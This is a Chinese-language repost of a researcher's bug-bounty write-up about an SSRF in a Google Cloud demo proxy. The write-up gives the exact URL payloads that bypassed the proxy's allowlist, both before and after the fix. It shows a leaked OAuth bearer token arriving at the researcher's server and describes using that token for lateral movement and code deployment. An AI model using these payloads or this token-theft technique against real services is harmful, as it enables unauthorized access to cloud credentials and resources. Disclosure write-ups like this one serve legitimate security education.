Google Cloud SSRF的故事|漏洞修复后再次绕过

Google Cloud SSRF的故事|漏洞修复后再次绕过

您现在正在阅读的帖子是我为2021 年 GCP VRP 奖提名的文章。截止日期是 2021 年 12 月 31 日。是的。虽然这个漏洞本身对于这样的竞争来说可能是平淡无奇的,但在报告这个问题之后发生的事情对于我们、研究人员和修复我们发现的漏洞的开发人员来说可能都是有价值的。与往常一样,您可以在feed.bugs.xdavidhu.me找到本文所基于的原始、直接的错误报告。

如果您宁愿观看而不是阅读,我制作了一个详细的、长达一个半小时的 YouTube 视频,我在其中对自己发现和利用此漏洞的屏幕录像做出反应:

第 1 章:代理

在寻找有趣的谷歌 API,最好是谷歌内部使用的 API 时,我偶然发现了jobs.googleapis.com. 乍一看,这似乎是谷歌可以用来管理自己的工作列表的一些私有 API。事实证明,jobs.googleapis.com在所有其他云产品中,谷歌向客户销售的是一款谷歌云产品。他们称之为“云人才解决方案”API。它是一个主要用于建立求职网站的公司的 API,有助于更好地搜索其可用的工作列表。Google 自己的careers.google.com似乎建立在与此 API 非常相似的东西之上。

当我试图弄清楚这一点时,我找到了这个 API的产品页面。每个GCP产品都有自己的产品页面。这些页面总结了给定产品的用途,展示了它们的主要功能,有时甚至还提供了一些交互式演示。

交互式演示??

是的。这是“云人才解决方案”产品页面上的演示:

jobs通过实时发出一些硬编码的求职请求来展示API的功能。但它是如何做到的呢?

查看页面发出的 HTTP 请求,演示不是直接从jobsAPI加载数据,而是从域上的代理加载数据cxl-services.appspot.com

POST /proxy?url=https%3A%2F%2Fjobs.googleapis.com%2Fv4%2Fprojects%2F4808913407%2Ftenants%2F%0A++++++ff8c4578-8000-0000-0000-00011ea231ff%2Fjobs%3Asearch HTTP/1.1
Host: cxl-services.appspot.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Content-Type: application/json; charset=utf-8
Content-Length: 102
Connection: close

{"jobQuery":{"query":"bartendar","queryLanguageCode":"en"},"jobView":"JOB_VIEW_SMALL","maxPageSize":5}

这是一个 Google App Engine 应用程序(因为.appspot.com结尾),它以某种方式将这些请求代理到真正的jobsAPI,并返回响应。这是必需的,因为通常您需要某种身份验证来调用jobsAPI,该代理在转发请求之前将其添加到请求中:

Google Cloud SSRF的故事|漏洞修复后再次绕过

您可能想知道,为什么他们不能将 API 的一些凭据硬编码到演示中,然后jobs直接调用?这很可能是为了防止滥用,因为cxl-services这种方式的代理可以强制执行速率限制和其他防御措施。除其他外,提供凭据将允许某人通过无限制地调用 API 来滥用它们。

说了这么多,我们怎么能攻击它呢?让我们仔细看看网址:

https://cxl-services.appspot.com/proxy?url=https://jobs.googleapis.com/v4/projects/4808913407/tenants/ff8c4578-8000-0000-0000-00011ea231ff/jobs:search

/proxy端点期待一个url参数,在这种情况下是的URL jobsAPI。这种行为是一个警告信号,表明该服务可能容易受到服务器端请求伪造 (SSRF) 的攻击。本质上,当我们作为攻击者可以使应用程序向我们指定的任何 URL 发送请求时,就会发生 SSRF。这个错误是如何利用此类漏洞的一个很好的例子。

让我们先尝试一些简单的东西。我们真的可以只代理对任何 URL 的请求吗?我在 5 美元的 VPS 上启动了一个网络服务器,并将其 URL 作为url参数设置为cxl-services

Google Cloud SSRF的故事|漏洞修复后再次绕过

不,没那么容易。cxl-services采用某种白名单,只允许代理特定的 URL,如jobsAPI。

一些额外的无聊细节cxl-services:它不仅适用于jobsAPI。据我所知,所有的交互式产品页面都通过cxl-services. 因此,它允许代理多个不同的 URL。我已经越过路径与cxl-services此之前的研究为好,但我是不是永远能打破白名单。

让我们看一个允许哪些 URL 和拒绝哪些 URL 的示例cxl-services

https://sfmnev.vps.xdavidhu.me/ - ❌
https://xdavid.googleapis.com/ - ❌
https://jobs.googleapis.com/ - ✅
https://jobs.googleapis.com/any/path - ✅
http://jobs.googleapis.com/any/path - ✅
https://jobs.googleapis.com:443/any/path - ✅
https://jobs.googleapis.comx:443/any/path - ❌
https://texttospeech.googleapis.com/xdavid - ✅ 

如您所见,如果 URL 的主机名(域名)是可信的,例如jobs.googleapis.com,则无论 URL 的其他部分是什么,代理都会允许它。这意味着cxl-services正在执行某种动态 URL 解析,其中提取 URL 的主机名,使用允许列表对其进行验证,如果所有这些都成功,则将请求代理到最初提供的 URL。

说到警告标志,这也是其中之一。解析 URL 很困难。

现在的问题是,我们是否可以欺骗 URL 解析器,使其认为主机名是列入白名单的域,同时让它将请求发送到不同的主机,比如我们的服务器?如果白名单验证逻辑和请求发送逻辑都分别解析攻击者提供的 URL,我们也许可以利用它们之间的一些细微差别。

/proxy通过发送多个请求尝试打破白名单来玩弄端点之后,我尝试使用我之前题为“意外的 Google 宽域检查绕过”的文章中反斜杠技巧

简而言之,反斜杠技巧依赖于利用两个“URL”规范之间的微小差异:WHATWG URL StandardRFC3986。RFC3986 是统一资源标识符语法的通用、多用途规范,而 WHATWG URL 标准专门针对 Web 和 URL(它们是 URI 的子集)。现代浏览器实现了 WHATWG URL 标准。

它们都描述了一种解析 URI/URL 的方法,但略有不同。WHATWG 规范描述了一个额外的字符,the \,它的行为就像/:结束主机名和权限并开始 URL 的路径。

Google Cloud SSRF的故事|漏洞修复后再次绕过

所以,我尝试使用反斜线技巧cxl-services为好,希望白名单验证和实际的请求发送逻辑可能会以不同解析相同的网址:

请求:

GET /proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/ HTTP/1.1
Host: cxl-services.appspot.com

返回:

HTTP/1.1 200 OK
Cache-Control: no-cache
Access-Control-Allow-Origin: *
Content-Type: text/plain; charset=utf-8
X-Cloud-Trace-Context: fa8cf39a9e7d74e14772efe215f180c1
Date: Mon, 23 Mar 2020 21:28:07 GMT
Server: Google Frontend
Content-Length: 35

Hello from xdavidhu's webserver! :)

有效!cxl-services认为该 URL 是可信的,向我的网络服务器发送了一个请求,并将响应转发给我。cxl-services解析 URL的白名单验证器很可能使用 RFC3986 指令并认为之前的所有内容都是URL@userinfo部分。之后,在发送请求时,HTTP 库的 URL 解析器注意到,由于\WHATWG 规范中的主机名和权限结束,它需要发送请求的主机是sfmnev.vps.xdavidhu.me

Google Cloud SSRF的故事|漏洞修复后再次绕过

有趣的部分来了,到达我的网络服务器的请求是什么?正如我们已经讨论过的,cxl-services必须以某种方式对jobsAPI 进行身份验证,才能将产品页面演示请求代理给它。

将我的简单Python HTTPS 服务器设置为--verbose模式,并cxl-services再次发出请求,让我看到整个请求都发送到我的网络服务器,包括所有标头:

xdavid@scannr:~/webserver$ sudo httpsserver --verbose
[verbose] Verbose mode enabled.
[+] Starting server. URL: https://sfmnev.vps.xdavidhu.me/


[verbose]
('35.187.132.128', 44083)
[I] Reverse DNS failed. 

Host: sfmnev.vps.xdavidhu.me
content-type: application/json
authorization: Bearer ya29.c.KnT2B01b-kebLicHqMkilaSXkJCfy2R5EouzglkdlZUeBWRBW(GNaGILMgosUyDOSxSAp0AGTqC10692v_K6_B39nlezaV5ntV3MdJ-ZcipXA3zt1CpbgkANgNRFrshzCqzc9Vy_AimSdan8F-ZngZec081 
X-Cloud-Trace-Context: 5989e540147Sof691f39a0183161639/7393502370317147947
Accept-Encoding: gzip, deflate
Connection: keep-alive
User-Agent: Python-httplib2/0.14.0 (gzip) AppEngine-Google; (http://code.google.com/appengine; appid: s~cxl-services)
Accept-Encoding: gzip,deflate,br

35.187.132.128 - - [22/Mar/2021 17:23:29] code 404, message File not found
35.187.132.128 - - [22/Mar/2021 17:23:29] "GET /@jobs.googleapis.com/ HTTP/1.1" 404 -

哦,有事!在每个传出请求上将标头cxl-services设置为authorization访问令牌,以对jobsAPI 和其他 API进行身份验证。由于我们欺骗了白名单,现在它还向我们的恶意 Web 服务器发送了一个访问令牌。

我们可以使用这个访问令牌做什么?

第二章:我们偷了什么?

我们窃取的令牌是一个 OAuth 2.0 访问令牌,其身份(很可能)是cxl-services App Engine 服务帐户。使用该令牌,我们可以以cxl-services.

我们可能想知道,这个令牌/身份是否可以访问除jobsAPI之外的某些 GCP 资源(VM、存储桶等)?在亚马逊 AWS 世界中,我们会在这里过得更轻松。不幸的是,在 Google Cloud 中,您不能问“我可以访问什么?”这个问题. 你只能一个接一个地去资源,然后问“我可以访问这个吗?。Dylan Ayrey 和 Allison Donovan对这种行为进行了精彩的讨论

正因为如此,我能做的最好的事情就是开始“暴力破解”并使用被盗的访问令牌调用不同的 API,看看我是否可以访问任何资源。

警告:如果您决定使用被盗凭据,请小心并记录您的行为。漏洞赏金中有一条我们不应该跨越的界限。我本可以按原样报告这个问题,但我想环顾四周以证明获得此身份的访问权确实是有影响的。在执行任何数据修改操作之前,我请求了 Google 团队的许可。

调用projects.listResource Manager API的方法,我发现了 4 个 GCP 项目,这个身份有一定程度的访问权限:

  • docai-demo
  • cxl-services (代理运行的地方)
  • garage-staging
  • p-jobs

列出 Compute Engine 虚拟机,我发现docai-demo项目中有两台机器。看起来它们是 Google Kubernetes Engine 集群的一部分:

  • gke-cluster-1-default-pool-af71d616-j45435.193.88.22)
  • gke-cluster-1-default-pool-af71d616-stj935.223.244.119)

查看cxl-services运行我们的目标代理的项目,我发现:

  • 一个名为 的 Cloud Storage 存储桶cxl-services.appspot.com,其中包含cxl-servicesApp Engine 应用从 2017 年 10 月 18 日至今收到的所有请求的每小时日志文件些文件可能包含与产品页面演示交互的用户的一些敏感数据。
  • google3通过列出App Engine 应用程序的版本,一些有趣的内部细节,例如来自 Google 内部代码单存储库的文件路径:google3/cloud/ux/services/services/proxy.py
  • us.artifacts.cxl-services.appspot.comApp Engine 使用的另一个名为 的存储桶,其中包含cxl-services代理的容器映像。这些图像可以被反转以访问源代码。

最后但同样重要的是,我使用 Python 和 Flask 编写了一个非常简单的 Web 应用程序,它返回了一个 base64 编码的字符串,即POC by xdavidhu!. 一番搏斗和恐慌之后,我成功地部署这个小应用程序作为一个新的App Engine服务cxl-services.appspot.com,证明我的App Engine应用程序完整的代码执行权限。一个RCE,如果你愿意的话:)

可以使用 URL 调用此新服务https://vrp-poc-dot-cxl-services.appspot.com/。部署代码后,我在浏览器中打开它,看到:

Google Cloud SSRF的故事|漏洞修复后再次绕过

这是我的代码,在内部 Google Cloud 项目的 App Engine 应用程序中运行!在这一点上,我报告了我所有的发现并停止了进一步的探索。您可以在我之前提到的YouTube 视频中看到更多关于利用的细节和我的怪异反应。

谷歌 VRP 小组以 3133.70 美元的奖金和 1000 美元的奖金奖励了这个问题,以奖励“编写良好的报告和记录横向移动”。

第 3 章:绕过

由于在披露日期前几天我的报告有90 天的公开披露截止日期,因此我开始准备提要帖子和 YouTube 视频。查看问题报告,我想测试修复。

谷歌确实已经修复了原始报告中的问题,其中我使用\@字符构造了一个绕过白名单的 URL,例如:

https://[your_domain]\@jobs.googleapis.com

但是在解析器上玩了几分钟并将随机字符放入 URL 中,我发现了一些东西。

如果我在\和之间放置任何字符@,我就能够再次绕过白名单:

https://sfmnev.vps.xdavidhu.me\[email protected]/

发现这一点实际上只是玩了几分钟的代理,结果又一次获得了原始的错误赏金奖励金额。这太疯狂了。所以,检查你的修复!

(psst:在 Google VRP 上,您不必等到您的问题进入fixed状态。如果您发现代码已更改,但您仍然可以利用它,请在原始票证上写下评论,您可能会获得另一个奖励!)

好了,故事到此结束,对吧?不,这个故事永远不会结束。

在谷歌修复了绕过并且我披露了这个错误之后,我仍然在计划我的 YouTube 视频。我的电脑上有几个小时未经编辑的屏幕录像。四月,我在 Final Cut 中打开它们并开始将它们一起剪辑。

在录音中,当我列出cxl-servicesApp Engine 应用程序的版本时,有多个结果,每个结果都表示代理的特定版本:

Google Cloud SSRF的故事|漏洞修复后再次绕过

我记得在 App Engine 中,使用特定的 URL,我们可以调用我们想要的任何服务的任何版本:

https://VERSION-dot-SERVICE-dot-cxl-services.appspot.com

我认为要解决此问题,产品团队必须向default服务(即代理)推出新版本。但是他们把旧版本留在那里了吗?我尝试使用原始白名单绕过来调用服务的旧b347699687-dev-gokulr版本(我从屏幕录制中获得):default\@

https://b347699687-dev-gokulr-dot-default-dot-cxl-services.appspot.com/proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/

确实,它奏效了!我的网络服务器收到了一个请求,请求authorization头中带有访问令牌。它仍然可以利用!尽管我调用的代理版本很旧,但它的工作方式相同。它仍然生成了一个访问令牌,最重要的是,它还没有修补原始漏洞。

再次,Google VRP 小组也奖励了第二次绕过。所以,检查你的修复..你的修复!

请问是一个绕过它3次并得到$ 3133.7的人吗?

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注